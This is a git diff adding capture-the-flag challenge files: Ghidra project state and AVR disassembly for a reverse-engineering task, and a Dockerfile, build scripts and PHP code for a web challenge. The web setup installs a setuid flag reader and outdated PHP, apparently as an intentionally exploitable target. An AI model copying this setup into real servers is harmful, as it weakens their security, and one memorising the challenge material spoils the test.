+  72:	cd bf       	out	0x3d, r28	; 61
+  74:	12 e0       	ldi	r17, 0x02	; 2
+  76:	a0 e0       	ldi	r26, 0x00	; 0
+  78:	b1 e0       	ldi	r27, 0x01	; 1
+  7a:	e2 ec       	ldi	r30, 0xC2	; 194
+  7c:	f8 e0       	ldi	r31, 0x08	; 8
+  7e:	02 c0       	rjmp	.+4      	;  0x84
+  80:	05 90       	lpm	r0, Z+
+  82:	0d 92       	st	X+, r0
+  84:	a4 3a       	cpi	r26, 0xA4	; 164
+  86:	b1 07       	cpc	r27, r17
+  88:	d9 f7       	brne	.-10     	;  0x80
+  8a:	0e 94 e6 03 	call	0x7cc	;  0x7cc
+  8e:	0c 94 5f 04 	jmp	0x8be	;  0x8be
+  92:	0c 94 00 00 	jmp	0	;  0x0
+  96:	10 92 c5 00 	sts	0x00C5, r1	;  0x8000c5
+  9a:	87 e6       	ldi	r24, 0x67	; 103
+  9c:	80 93 c4 00 	sts	0x00C4, r24	;  0x8000c4
+  a0:	88 e1       	ldi	r24, 0x18	; 24
+
--- a/cscg25/rev/grid_wave/dump
+++ b/cscg25/rev/grid_wave/dump
--- a/cscg25/rev/grid_wave/gridwave.gpr
+++ b/cscg25/rev/grid_wave/gridwave.gpr
--- a/cscg25/rev/grid_wave/gridwave.rep/idata/00/00000004.prp
+++ b/cscg25/rev/grid_wave/gridwave.rep/idata/00/00000004.prp
@@ -0,0 +1,11 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<FILE_INFO>
+    <BASIC_INFO>
+        <STATE NAME="CONTENT_TYPE" TYPE="string" VALUE="Program" />
+        <STATE NAME="PARENT" TYPE="string" VALUE="/" />
+        <STATE NAME="FILE_ID" TYPE="string" VALUE="c0a8073ffb8121240967914416" />
+        <STATE NAME="FILE_TYPE" TYPE="int" VALUE="0" />
+        <STATE NAME="READ_ONLY" TYPE="boolean" VALUE="false" />
+        <STATE NAME="NAME" TYPE="string" VALUE="blogpost.bin" />
+    </BASIC_INFO>
+</FILE_INFO>
--- a/cscg25/rev/grid_wave/gridwave.rep/idata/00/00000005.prp
+++ b/cscg25/rev/grid_wave/gridwave.rep/idata/00/00000005.prp
@@ -0,0 +1,11 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<FILE_INFO>
+    <BASIC_INFO>
+        <STATE NAME="CONTENT_TYPE" TYPE="string" VALUE="Program" />
+        <STATE NAME="PARENT" TYPE="string" VALUE="/" />
+        <STATE NAME="FILE_ID" TYPE="string" VALUE="c0a8073dcc793952601231625" />
+        <STATE NAME="FILE_TYPE" TYPE="int" VALUE="0" />
+        <STATE NAME="READ_ONLY" TYPE="boolean" VALUE="false" />
+        <STATE NAME="NAME" TYPE="string" VALUE="GRID_WAVE_4X8_LangleyMicros.vr" />
+    </BASIC_INFO>
+</FILE_INFO>
--- a/cscg25/rev/grid_wave/gridwave.rep/idata/00/~00000004.db/db.1.gbf
+++ b/cscg25/rev/grid_wave/gridwave.rep/idata/00/~00000004.db/db.1.gbf
--- a/cscg25/rev/grid_wave/gridwave.rep/idata/00/~00000005.db/db.4.gbf
+++ b/cscg25/rev/grid_wave/gridwave.rep/idata/00/~00000005.db/db.4.gbf
--- a/cscg25/rev/grid_wave/gridwave.rep/idata/~index.bak
+++ b/cscg25/rev/grid_wave/gridwave.rep/idata/~index.bak
@@ -0,0 +1,6 @@
+VERSION=1
+/
+  00000005:GRID_WAVE_4X8_LangleyMicros.vr:c0a8073dcc793952601231625
+  00000004:blogpost.bin:c0a8073ffb8121240967914416
+NEXT-ID:6
+MD5:d41d8cd98f00b204e9800998ecf8427e
--- a/cscg25/rev/grid_wave/gridwave.rep/idata/~index.dat
+++ b/cscg25/rev/grid_wave/gridwave.rep/idata/~index.dat
@@ -0,0 +1,6 @@
+VERSION=1
+/
+  00000005:GRID_WAVE_4X8_LangleyMicros.vr:c0a8073dcc793952601231625
+  00000004:blogpost.bin:c0a8073ffb8121240967914416
+NEXT-ID:6
+MD5:d41d8cd98f00b204e9800998ecf8427e
--- a/cscg25/rev/grid_wave/gridwave.rep/project.prp
+++ b/cscg25/rev/grid_wave/gridwave.rep/project.prp
@@ -0,0 +1,6 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<FILE_INFO>
+    <BASIC_INFO>
+        <STATE NAME="OWNER" TYPE="string" VALUE="cato" />
+    </BASIC_INFO>
+</FILE_INFO>
--- a/cscg25/rev/grid_wave/gridwave.rep/projectState
+++ b/cscg25/rev/grid_wave/gridwave.rep/projectState
@@ -0,0 +1,247 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<PROJECT>
+    <PROJECT_DATA_XML_NAME NAME="DISPLAY_DATA">
+        <SAVE_STATE>
+            <ARRAY NAME="EXPANDED_PATHS" TYPE="string">
+                <A VALUE="gridwave:" />
+            </ARRAY>
+            <STATE NAME="SHOW_TABLE" TYPE="boolean" VALUE="false" />
+        </SAVE_STATE>
+    </PROJECT_DATA_XML_NAME>
+    <TOOL_MANAGER ACTIVE_WORKSPACE="Workspace">
+        <WORKSPACE NAME="Workspace" ACTIVE="true">
+            <RUNNING_TOOL TOOL_NAME="CodeBrowser">
+                <ROOT_NODE X_POS="-541" Y_POS="-1410" WIDTH="2505" HEIGHT="1388" EX_STATE="6">
+                    <SPLIT_NODE WIDTH="100" HEIGHT="100" DIVIDER_LOCATION="0" ORIENTATION="VERTICAL">
+                        <SPLIT_NODE WIDTH="1621" HEIGHT="816" DIVIDER_LOCATION="148" ORIENTATION="VERTICAL">
+                            <COMPONENT_NODE TOP_INFO="0">
+                                <COMPONENT_INFO NAME="Entropy" OWNER="EntropyPlugin" TITLE="Entropy" ACTIVE="false" GROUP="Header" INSTANCE_ID="3207819926581772885" />
+                                <COMPONENT_INFO NAME="Overview" OWNER="OverviewPlugin" TITLE="Overview" ACTIVE="false" GROUP="Header" INSTANCE_ID="3207819926581772883" />
+                            </COMPONENT_NODE>
+                            <SPLIT_NODE WIDTH="3840" HEIGHT="2027" DIVIDER_LOCATION="143" ORIENTATION="HORIZONTAL">
+                                <SPLIT_NODE WIDTH="549" HEIGHT="2027" DIVIDER_LOCATION="640" ORIENTATION="VERTICAL">
+                                    <SPLIT_NODE WIDTH="549" HEIGHT="1295" DIVIDER_LOCATION="502" ORIENTATION="VERTICAL">
+                                        <COMPONENT_NODE TOP_INFO="0">
+                                            <COMPONENT_INFO NAME="Program Tree" OWNER="ProgramTreePlugin" TITLE="Program Trees" ACTIVE="true" GROUP="Default" INSTANCE_ID="3654990936035701178" />
+                                        </COMPONENT_NODE>
+                                        <COMPONENT_NODE TOP_INFO="0">
+                                            <COMPONENT_INFO NAME="Symbol Tree" OWNER="SymbolTreePlugin" TITLE="Symbol Tree" ACTIVE="true" GROUP="Default" INSTANCE_ID="3654990936035701173" />
+                                        </COMPONENT_NODE>
+                                    </SPLIT_NODE>
+                                    <COMPONENT_NODE TOP_INFO="0">
+                                        <COMPONENT_INFO NAME="DataTypes Provider" OWNER="DataTypeManagerPlugin" TITLE="Data Type Manager" ACTIVE="true" GROUP="Default" INSTANCE_ID="3654990945152020913" />
+                                    </COMPONENT_NODE>
+                                </SPLIT_NODE>
+                                <SPLIT_NODE WIDTH="3287" HEIGHT="2027" DIVIDER_LOCATION="785" ORIENTATION="VERTICAL">
+                                    <SPLIT_NODE WIDTH="1386" HEIGHT="638" DIVIDER_LOCATION="705" ORIENTATION="VERTICAL">
+                                        <SPLIT_NODE WIDTH="3287" HEIGHT="1588" DIVIDER_LOCATION="483" ORIENTATION="HORIZONTAL">
+                                            <COMPONENT_NODE TOP_INFO="0">
+                                                <COMPONENT_INFO NAME="Listing" OWNER="CodeBrowserPlugin" TITLE="Listing: " ACTIVE="true" GROUP="Core" INSTANCE_ID="3654990944120222116" />
+                                            </COMPONENT_NODE>
+                                            <COMPONENT_NODE TOP_INFO="0">
+                                                <COMPONENT_INFO NAME="Decompiler" OWNER="DecompilePlugin" TITLE="Decompiler" ACTIVE="true" GROUP="Default" INSTANCE_ID="3654990936035701179" />
+                                                <COMPONENT_INFO NAME="Bytes" OWNER="ByteViewerPlugin" TITLE="Bytes: No Program" ACTIVE="false" GROUP="Default" INSTANCE_ID="3654990936035701181" />
+                                                <COMPONENT_INFO NAME="Data Window" OWNER="DataWindowPlugin" TITLE="Defined Data" ACTIVE="false" GROUP="Default" INSTANCE_ID="3654990945519022496" />
+                                                <COMPONENT_INFO NAME="Defined Strings" OWNER="ViewStringsPlugin" TITLE="Defined Strings" ACTIVE="false" GROUP="Default" INSTANCE_ID="3654990945519022500" />
+                                                <COMPONENT_INFO NAME="Equates Table" OWNER="EquateTablePlugin" TITLE="Equates Table" ACTIVE="false" GROUP="Default" INSTANCE_ID="3654990944120222114" />
+                                                <COMPONENT_INFO NAME="External Programs" OWNER="ReferencesPlugin" TITLE="External Programs" ACTIVE="false" GROUP="Default" INSTANCE_ID="3654990944120222117" />
+                                                <COMPONENT_INFO NAME="Functions Window" OWNER="FunctionWindowPlugin" TITLE="Functions" ACTIVE="false" GROUP="Default" INSTANCE_ID="3654990944120222120" />
+                                                <COMPONENT_INFO NAME="Relocation Table" OWNER="RelocationTablePlugin" TITLE="Relocation Table" ACTIVE="false" GROUP="Default" INSTANCE_ID="3654990945519022499" />
+                                            </COMPONENT_NODE>
+                                        </SPLIT_NODE>
+                                        <SPLIT_NODE WIDTH="1386" HEIGHT="189" DIVIDER_LOCATION="495" ORIENTATION="HORIZONTAL">
+                                            <COMPONENT_NODE TOP_INFO="0">
+                                                <COMPONENT_INFO NAME="Data Type Preview" OWNER="DataTypePreviewPlugin" TITLE="Data Type Preview" ACTIVE="false" GROUP="Default" INSTANCE_ID="3654990945011511733" />
+                                            </COMPONENT_NODE>
+                                            <COMPONENT_NODE TOP_INFO="0">
+                                                <COMPONENT_INFO NAME="Virtual Disassembler - Current Instruction" OWNER="DisassembledViewPlugin" TITLE="Disassembled View" ACTIVE="false" GROUP="Default" INSTANCE_ID="3654990944120222113" />
+                                            </COMPONENT_NODE>
+                                        </SPLIT_NODE>
+                                    </SPLIT_NODE>
+                                    <COMPONENT_NODE TOP_INFO="0">
+                                        <COMPONENT_INFO NAME="Console" OWNER="ConsolePlugin" TITLE="Console" ACTIVE="true" GROUP="Default" INSTANCE_ID="3654990936035701180" />
+                                        <COMPONENT_INFO NAME="Bookmarks" OWNER="BookmarkPlugin" TITLE="Bookmarks" ACTIVE="false" GROUP="Core.Bookmarks" INSTANCE_ID="3654990936035701177" />
+                                    </COMPONENT_NODE>
+                                </SPLIT_NODE>
+                            </SPLIT_NODE>
+                        </SPLIT_NODE>
+                        <COMPONENT_NODE TOP_INFO="0">
+                            <COMPONENT_INFO NAME="Function Call Trees" OWNER="CallTreePlugin" TITLE="Function Call Trees" ACTIVE="false" GROUP="Default" INSTANCE_ID="3654990936035701174" />
+                        </COMPONENT_NODE>
+                    </SPLIT_NODE>
+                    <WINDOW_NODE X_POS="426" Y_POS="178" WIDTH="1033" HEIGHT="689">
+                        <COMPONENT_NODE TOP_INFO="0">
+                            <COMPONENT_INFO NAME="Script Manager" OWNER="GhidraScriptMgrPlugin" TITLE="Script Manager" ACTIVE="false" GROUP="Script Group" INSTANCE_ID="3654990936035701175" />
+                        </COMPONENT_NODE>
+                    </WINDOW_NODE>
+                    <WINDOW_NODE X_POS="423" Y_POS="144" WIDTH="927" HEIGHT="370">
+                        <COMPONENT_NODE TOP_INFO="0">
+                            <COMPONENT_INFO NAME="Memory Map" OWNER="MemoryMapPlugin" TITLE="Memory Map" ACTIVE="false" GROUP="Default" INSTANCE_ID="3654990936035701156" />
+                        </COMPONENT_NODE>
+                    </WINDOW_NODE>
+                    <WINDOW_NODE X_POS="383" Y_POS="7" WIDTH="1020" HEIGHT="1038">
+                        <COMPONENT_NODE TOP_INFO="0">
+                            <COMPONENT_INFO NAME="Function Graph" OWNER="FunctionGraphPlugin" TITLE="Function Graph" ACTIVE="false" GROUP="Function Graph" INSTANCE_ID="3654990945519022501" />
+                        </COMPONENT_NODE>
+                    </WINDOW_NODE>
+                    <WINDOW_NODE X_POS="550" Y_POS="206" WIDTH="655" HEIGHT="509">
+                        <COMPONENT_NODE TOP_INFO="0">
+                            <COMPONENT_INFO NAME="Register Manager" OWNER="RegisterPlugin" TITLE="Register Manager" ACTIVE="false" GROUP="Default" INSTANCE_ID="3654990944120222119" />
+                        </COMPONENT_NODE>
+                    </WINDOW_NODE>
+                    <WINDOW_NODE X_POS="287" Y_POS="186" WIDTH="1424" HEIGHT="666">
+                        <SPLIT_NODE WIDTH="1408" HEIGHT="559" DIVIDER_LOCATION="573" ORIENTATION="HORIZONTAL">
+                            <COMPONENT_NODE TOP_INFO="0">
+                                <COMPONENT_INFO NAME="Symbol Table" OWNER="SymbolTablePlugin" TITLE="Symbol Table" ACTIVE="false" GROUP="symbolTable" INSTANCE_ID="3654990945519022497" />
+                            </COMPONENT_NODE>
+                            <COMPONENT_NODE TOP_INFO="0">
+                                <COMPONENT_INFO NAME="Symbol References" OWNER="SymbolTablePlugin" TITLE="Symbol References" ACTIVE="false" GROUP="symbolTable" INSTANCE_ID="3654990945519022498" />
+                            </COMPONENT_NODE>
+                        </SPLIT_NODE>
+                    </WINDOW_NODE>
+                    <WINDOW_NODE X_POS="-1" Y_POS="-1" WIDTH="0" HEIGHT="0">
+                        <COMPONENT_NODE TOP_INFO="0">
+                            <COMPONENT_INFO NAME="Checksum Generator" OWNER="ComputeChecksumsPlugin" TITLE="Checksum Generator" ACTIVE="false" GROUP="Default" INSTANCE_ID="3654990944120222115" />
+                        </COMPONENT_NODE>
+                    </WINDOW_NODE>
+                    <WINDOW_NODE X_POS="-1" Y_POS="-1" WIDTH="0" HEIGHT="0">
+                        <COMPONENT_NODE TOP_INFO="0">
+                            <COMPONENT_INFO NAME="Function Tags" OWNER="FunctionTagPlugin" TITLE="Function Tags" ACTIVE="false" GROUP="Default" INSTANCE_ID="3654990945152020914" />
+                        </COMPONENT_NODE>
+                    </WINDOW_NODE>
+                    <WINDOW_NODE X_POS="-1" Y_POS="-1" WIDTH="0" HEIGHT="0">
+                        <COMPONENT_NODE TOP_INFO="0">
+                            <COMPONENT_INFO NAME="Comment Window" OWNER="CommentWindowPlugin" TITLE="Comments" ACTIVE="false" GROUP="Default" INSTANCE_ID="3654990945152020927" />
+                        </COMPONENT_NODE>
+                    </WINDOW_NODE>
+                    <WINDOW_NODE X_POS="-1" Y_POS="-1" WIDTH="0" HEIGHT="0">
+                        <COMPONENT_NODE TOP_INFO="0">
+                            <COMPONENT_INFO NAME="Python" OWNER="InterpreterPanelPlugin" TITLE="Python" ACTIVE="false" GROUP="Default" INSTANCE_ID="3569487994865850806" />
+                        </COMPONENT_NODE>
+                    </WINDOW_NODE>
+                    <WINDOW_NODE X_POS="0" Y_POS="0" WIDTH="0" HEIGHT="0">
+                        <COMPONENT_NODE TOP_INFO="0">
+                            <COMPONENT_INFO NAME="BundleManager" OWNER="GhidraScriptMgrPlugin" TITLE="Bundle Manager" ACTIVE="false" GROUP="Default" INSTANCE_ID="3654989415013944504" />
+                        </COMPONENT_NODE>
+                    </WINDOW_NODE>
+                    <WINDOW_NODE X_POS="0" Y_POS="0" WIDTH="0" HEIGHT="0">
+                        <COMPONENT_NODE TOP_INFO="0">
+                            <COMPONENT_INFO NAME="Function Call Graph" OWNER="FunctionCallGraphPlugin" TITLE="Function Call Graph" ACTIVE="false" GROUP="Function Call Graph" INSTANCE_ID="3654990945011511734" />
+                        </COMPONENT_NODE>
+                    </WINDOW_NODE>
+                    <WINDOW_NODE X_POS="0" Y_POS="0" WIDTH="0" HEIGHT="0">
+                        <COMPONENT_NODE TOP_INFO="0">
+                            <COMPONENT_INFO NAME="PyGhidra" OWNER="PyGhidra" TITLE="PyGhidra" ACTIVE="false" GROUP="Default" INSTANCE_ID="3654990945152020926" />
+                        </COMPONENT_NODE>
+                    </WINDOW_NODE>
+                    <WINDOW_NODE X_POS="0" Y_POS="0" WIDTH="0" HEIGHT="0">
+                        <COMPONENT_NODE TOP_INFO="0">
+                            <COMPONENT_INFO NAME="Jython" OWNER="Jython" TITLE="Jython" ACTIVE="false" GROUP="Default" INSTANCE_ID="3654990945152020915" />
+                        </COMPONENT_NODE>
+                    </WINDOW_NODE>
+                    <WINDOW_NODE X_POS="0" Y_POS="0" WIDTH="0" HEIGHT="0">
+                        <COMPONENT_NODE TOP_INFO="0">
+                            <COMPONENT_INFO NAME="Source Files and Transforms" OWNER="SourceFilesTablePlugin" TITLE="Source Files and Transforms" ACTIVE="false" GROUP="Default" INSTANCE_ID="3654990944120222118" />
+                        </COMPONENT_NODE>
+                    </WINDOW_NODE>
+                    <WINDOW_NODE X_POS="0" Y_POS="0" WIDTH="0" HEIGHT="0">
+                        <COMPONENT_NODE TOP_INFO="0">
+                            <COMPONENT_INFO NAME="Bundle Manager" OWNER="GhidraScriptMgrPlugin" TITLE="Bundle Manager" ACTIVE="false" GROUP="Default" INSTANCE_ID="3654990936035701176" />
+                        </COMPONENT_NODE>
+                    </WINDOW_NODE>
+                    <WINDOW_NODE X_POS="547" Y_POS="289" WIDTH="639" HEIGHT="398">
+                        <COMPONENT_NODE TOP_INFO="0">
+                            <COMPONENT_INFO NAME="Location References Provider" OWNER="LocationReferencesPlugin" TITLE="References to FUN_code_006a - 1 locations" ACTIVE="false" GROUP="Default" INSTANCE_ID="3654493101173209946" />
+                        </COMPONENT_NODE>
+                    </WINDOW_NODE>
+                    <WINDOW_NODE X_POS="283" Y_POS="268" WIDTH="874" HEIGHT="516">
+                        <COMPONENT_NODE TOP_INFO="0">
+                            <COMPONENT_INFO NAME="Instruction Info" OWNER="ShowInstructionInfoPlugin" TITLE="Instruction Info: Address code:0340" ACTIVE="false" GROUP="Default" INSTANCE_ID="3653949728691516758" />
+                        </COMPONENT_NODE>
+                    </WINDOW_NODE>
+                    <WINDOW_NODE X_POS="131" Y_POS="163" WIDTH="1178" HEIGHT="598">
+                        <COMPONENT_NODE TOP_INFO="0">
+                            <COMPONENT_INFO NAME="Structure Editor" OWNER="DataTypeManagerPlugin" TITLE="Structure Editor - Elf32_Ehdr (GRID_WAVE_4X8_LangleyMicros.vr)" ACTIVE="false" GROUP="Default" INSTANCE_ID="3653801106509652768" />
+                        </COMPONENT_NODE>
+                    </WINDOW_NODE>
+                    <WINDOW_NODE X_POS="418" Y_POS="324" WIDTH="604" HEIGHT="277">
+                        <COMPONENT_NODE TOP_INFO="0">
+                            <COMPONENT_INFO NAME="References Editor " OWNER="ReferencesPlugin" TITLE="References Editor @ code:0034  (GRID_WAVE_4X8_LangleyMicros.vr)" ACTIVE="false" GROUP="Default" INSTANCE_ID="3653948643826398544" />
+                        </COMPONENT_NODE>
+                    </WINDOW_NODE>
+                    <WINDOW_NODE X_POS="491" Y_POS="197" WIDTH="458" HEIGHT="531">
+                        <COMPONENT_NODE TOP_INFO="0">
+                            <COMPONENT_INFO NAME="Operands" OWNER="TableServicePlugin" TITLE="Operand References for code:0045" ACTIVE="false" GROUP="Default" INSTANCE_ID="3654130639604965206" />
+                        </COMPONENT_NODE>
+                    </WINDOW_NODE>
+                    <WINDOW_NODE X_POS="0" Y_POS="0" WIDTH="0" HEIGHT="0">
+                        <COMPONENT_NODE TOP_INFO="0">
+                            <COMPONENT_INFO NAME="Jython" OWNER="InterpreterPanelPlugin" TITLE="Jython" ACTIVE="false" GROUP="Default" INSTANCE_ID="3654989418595880114" />
+                        </COMPONENT_NODE>
+                    </WINDOW_NODE>
+                </ROOT_NODE>
+                <DATA_STATE>
+                    <PLUGIN NAME="NavigationHistoryPlugin">
+                        <XML NAME="HISTORY_LIST_0">
+                            <SAVE_STATE>
+                                <STATE NAME="CURRENT_LOC_INDEX" TYPE="int" VALUE="0" />
+                                <STATE NAME="LOCATION_COUNT" TYPE="int" VALUE="0" />
+                                <STATE NAME="NAV_ID" TYPE="long" VALUE="-1" />
+                            </SAVE_STATE>
+                        </XML>
+                        <STATE NAME="LIST_COUNT" TYPE="int" VALUE="1" />
+                    </PLUGIN>
+                    <PLUGIN NAME="ProgramTreePlugin">
+                        <STATE NAME="Current Viewname" TYPE="string" VALUE="Program Tree" />
+                        <STATE NAME="NavigationToggleState" TYPE="boolean" VALUE="false" />
+                        <STATE NAME="NumberOfGroupsProgram Tree" TYPE="int" VALUE="0" />
+                        <STATE NAME="NumberOfViews" TYPE="int" VALUE="1" />
+                        <STATE NAME="TreeName-0" TYPE="string" VALUE="Program Tree" />
+                    </PLUGIN>
+                    <PLUGIN NAME="DecompilePlugin">
+                        <STATE NAME="INDEX" TYPE="int" VALUE="0" />
+                        <STATE NAME="NAV_ID" TYPE="long" VALUE="3654990936035701179" />
+                        <STATE NAME="Num Disconnected" TYPE="int" VALUE="0" />
+                        <STATE NAME="Y_OFFSET" TYPE="int" VALUE="0" />
+                    </PLUGIN>
+                    <PLUGIN NAME="ByteViewerPlugin">
+                        <STATE NAME="Block Column" TYPE="int" VALUE="0" />
+                        <STATE NAME="Block Num" TYPE="int" VALUE="-1" />
+                        <STATE NAME="Block Offset" TYPE="string" VALUE="0" />
+                        <STATE NAME="Index" TYPE="int" VALUE="0" />
+                        <STATE NAME="NAV_ID" TYPE="long" VALUE="3654990936035701181" />
+                        <STATE NAME="Num Disconnected" TYPE="int" VALUE="0" />
+                        <STATE NAME="X Offset" TYPE="int" VALUE="0" />
+                        <STATE NAME="Y Offset" TYPE="int" VALUE="0" />
+                    </PLUGIN>
+                    <PLUGIN NAME="ProgramManagerPlugin">
+                        <STATE NAME="NUM_PROGRAMS" TYPE="int" VALUE="0" />
+                    </PLUGIN>
+                    <PLUGIN NAME="FunctionGraphPlugin">
+                        <SAVE_STATE NAME="COMPLEX_LAYOUT_NAME" TYPE="SaveState">
+                            <COMPLEX_LAYOUT_NAME>
+                                <STATE NAME="LAYOUT_CLASS_NAME" TYPE="string" VALUE="ghidra.app.plugin.core.functiongraph.graph.layout.DecompilerNestedLayoutProvider" />
+                                <STATE NAME="LAYOUT_NAME" TYPE="string" VALUE="Nested Code Layout" />
+                            </COMPLEX_LAYOUT_NAME>
+                        </SAVE_STATE>
+                        <STATE NAME="DISPLAY_POPUPS" TYPE="boolean" VALUE="true" />
+                        <STATE NAME="DISPLAY_SATELLITE" TYPE="boolean" VALUE="true" />
+                        <STATE NAME="DOCK_SATELLITE" TYPE="boolean" VALUE="true" />
+                        <STATE NAME="DOCK_SATELLITE_POSITION" TYPE="string" VALUE="LOWER_RIGHT" />
+                        <STATE NAME="Disconnected Count" TYPE="int" VALUE="0" />
+                        <ENUM NAME="EDGE_HOVER_HIGHLIGHT" TYPE="enum" CLASS="ghidra.app.plugin.core.functiongraph.EdgeDisplayType" VALUE="ScopedFlowsFromVertex" />
+                        <ENUM NAME="EDGE_SELECTION_HIGHLIGHT" TYPE="enum" CLASS="ghidra.app.plugin.core.functiongraph.EdgeDisplayType" VALUE="AllCycles" />
+                        <STATE NAME="NAV_ID" TYPE="long" VALUE="3654990945519022501" />
+                    </PLUGIN>
+                    <PLUGIN NAME="CodeBrowserPlugin">
+                        <STATE NAME="INDEX" TYPE="int" VALUE="0" />
+                        <STATE NAME="NAV_ID" TYPE="long" VALUE="3654990944120222116" />
+                        <STATE NAME="Num Disconnected" TYPE="int" VALUE="0" />
+                        <STATE NAME="Y_OFFSET" TYPE="int" VALUE="0" />
+                    </PLUGIN>
+                </DATA_STATE>
+            </RUNNING_TOOL>
+        </WORKSPACE>
+    </TOOL_MANAGER>
+</PROJECT>
+
--- a/cscg25/rev/grid_wave/gridwave.rep/user/00/00000002.prp
+++ b/cscg25/rev/grid_wave/gridwave.rep/user/00/00000002.prp
@@ -0,0 +1,11 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<FILE_INFO>
+    <BASIC_INFO>
+        <STATE NAME="CONTENT_TYPE" TYPE="string" VALUE="ProgramUserData" />
+        <STATE NAME="PARENT" TYPE="string" VALUE="/" />
+        <STATE NAME="FILE_ID" TYPE="string" VALUE="c0a8073ffc5121438189679041" />
+        <STATE NAME="FILE_TYPE" TYPE="int" VALUE="0" />
+        <STATE NAME="READ_ONLY" TYPE="boolean" VALUE="false" />
+        <STATE NAME="NAME" TYPE="string" VALUE="udf_c0a8073ffb8121240967914416" />
+    </BASIC_INFO>
+</FILE_INFO>
--- a/cscg25/rev/grid_wave/gridwave.rep/user/00/00000004.prp
+++ b/cscg25/rev/grid_wave/gridwave.rep/user/00/00000004.prp
@@ -0,0 +1,11 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<FILE_INFO>
+    <BASIC_INFO>
+        <STATE NAME="CONTENT_TYPE" TYPE="string" VALUE="ProgramUserData" />
+        <STATE NAME="PARENT" TYPE="string" VALUE="/" />
+        <STATE NAME="FILE_ID" TYPE="string" VALUE="c0a8073e6d1103660918149750" />
+        <STATE NAME="FILE_TYPE" TYPE="int" VALUE="0" />
+        <STATE NAME="READ_ONLY" TYPE="boolean" VALUE="false" />
+        <STATE NAME="NAME" TYPE="string" VALUE="udf_c0a8073dcc793952601231625" />
+    </BASIC_INFO>
+</FILE_INFO>
--- a/cscg25/rev/grid_wave/gridwave.rep/user/00/~00000002.db/db.1.gbf
+++ b/cscg25/rev/grid_wave/gridwave.rep/user/00/~00000002.db/db.1.gbf
--- a/cscg25/rev/grid_wave/gridwave.rep/user/00/~00000004.db/db.6.gbf
+++ b/cscg25/rev/grid_wave/gridwave.rep/user/00/~00000004.db/db.6.gbf
--- a/cscg25/rev/grid_wave/gridwave.rep/user/~index.bak
+++ b/cscg25/rev/grid_wave/gridwave.rep/user/~index.bak
@@ -0,0 +1,5 @@
+VERSION=1
+/
+  00000002:udf_c0a8073ffb8121240967914416:c0a8073ffc5121438189679041
+NEXT-ID:4
+MD5:d41d8cd98f00b204e9800998ecf8427e
--- a/cscg25/rev/grid_wave/gridwave.rep/user/~index.dat
+++ b/cscg25/rev/grid_wave/gridwave.rep/user/~index.dat
@@ -0,0 +1,6 @@
+VERSION=1
+/
+  00000004:udf_c0a8073dcc793952601231625:c0a8073e6d1103660918149750
+  00000002:udf_c0a8073ffb8121240967914416:c0a8073ffc5121438189679041
+NEXT-ID:5
+MD5:d41d8cd98f00b204e9800998ecf8427e
--- a/cscg25/rev/grid_wave/gridwave.rep/user/~journal.bak
+++ b/cscg25/rev/grid_wave/gridwave.rep/user/~journal.bak
@@ -0,0 +1,2 @@
+IADD:00000004:/udf_c0a8073dcc793952601231625
+IDSET:/udf_c0a8073dcc793952601231625:c0a8073e6d1103660918149750
--- a/cscg25/rev/grid_wave/gridwave.rep/versioned/~index.bak
+++ b/cscg25/rev/grid_wave/gridwave.rep/versioned/~index.bak
@@ -0,0 +1,4 @@
+VERSION=1
+/
+NEXT-ID:0
+MD5:d41d8cd98f00b204e9800998ecf8427e
--- a/cscg25/rev/grid_wave/gridwave.rep/versioned/~index.dat
+++ b/cscg25/rev/grid_wave/gridwave.rep/versioned/~index.dat
@@ -0,0 +1,4 @@
+VERSION=1
+/
+NEXT-ID:0
+MD5:d41d8cd98f00b204e9800998ecf8427e
--- a/cscg25/web/canteenfood/Dockerfile
+++ b/cscg25/web/canteenfood/Dockerfile
@@ -0,0 +1,49 @@
+FROM debian:bullseye-slim@sha256:6344a6747740d465bff88e833e43ef881a8c4dd51950dba5b30664c93f74cbef
+
+# Setup user
+RUN useradd www
+
+# Install system packeges
+RUN apt-get update && apt-get install -y supervisor nginx lsb-release mariadb-server mariadb-client wget gcc
+
+# Add repos
+RUN wget -O /etc/apt/trusted.gpg.d/php.gpg https://packages.sury.org/php/apt.gpg
+RUN echo "deb https://packages.sury.org/php/ bullseye main" | tee /etc/apt/sources.list.d/php.list
+
+# Install PHP dependencies
+RUN apt update && apt install -y php7.1-fpm php7.1-mysql
+
+# Configure php-fpm and nginx
+COPY config/fpm.conf /etc/php/7.1/fpm/php-fpm.conf
+COPY config/supervisord.conf /etc/supervisord.conf
+COPY config/nginx.conf /etc/nginx/nginx.conf
+COPY config/mariadb.conf /etc/mysql/mariadb.conf.d/50-server.cnf
+
+# Copy challenge files
+COPY challenge /www
+
+# Copy flag
+COPY flag.txt /
+COPY logs.txt /
+
+
+# Add readflag binary and prepare flag
+COPY readflag.c /
+RUN gcc /readflag.c -o /readflag \
+    && chown root:root /readflag \
+    && chmod +s /readflag \
+    && rm /readflag.c \
+    && chmod 400 /flag.txt
+
+# Setup permissions
+RUN chown -R www:www /www /var/lib/nginx
+RUN chown www:www /logs.txt
+
+RUN apt-get remove gcc wget -y
+
+# Expose the port nginx is listening on
+EXPOSE 80
+
+# Start db and start supervisord
+COPY --chown=root entrypoint.sh /entrypoint.sh
+ENTRYPOINT ["/entrypoint.sh"]
--- a/cscg25/web/canteenfood/build_docker.sh
+++ b/cscg25/web/canteenfood/build_docker.sh
@@ -0,0 +1,4 @@
+#!/bin/bash
+docker rm -f canteenfood
+docker build -t canteenfood . && \
+docker run --name=canteenfood --rm -p 127.0.0.1:1337:80 -it canteenfood
--- a/cscg25/web/canteenfood/build_patched_docker.sh
+++ b/cscg25/web/canteenfood/build_patched_docker.sh
@@ -0,0 +1,4 @@
+#!/bin/bash
+docker rm -f canteenfood_patched
+docker build -t canteenfood_patched . && \
+docker run --name=canteenfood_patched -d --rm -p 127.0.0.1:1338:80 -it canteenfood_patched
--- a/cscg25/web/canteenfood/challenge/Database.php
+++ b/cscg25/web/canteenfood/challenge/Database.php
@@ -0,0 +1,21 @@
+<?php
+class Database {
+
+    private static $db;
+    private $connection;
+
+    private function __construct() {
+        $this->connection = new MySQLi('127.0.0.1', $_SERVER['DB_USER'], $_SERVER['DB_PASS'], $_SERVER['DB_NAME']);
+    }
+
+    function __destruct() {
+        $this->connection->close();
+    }
+
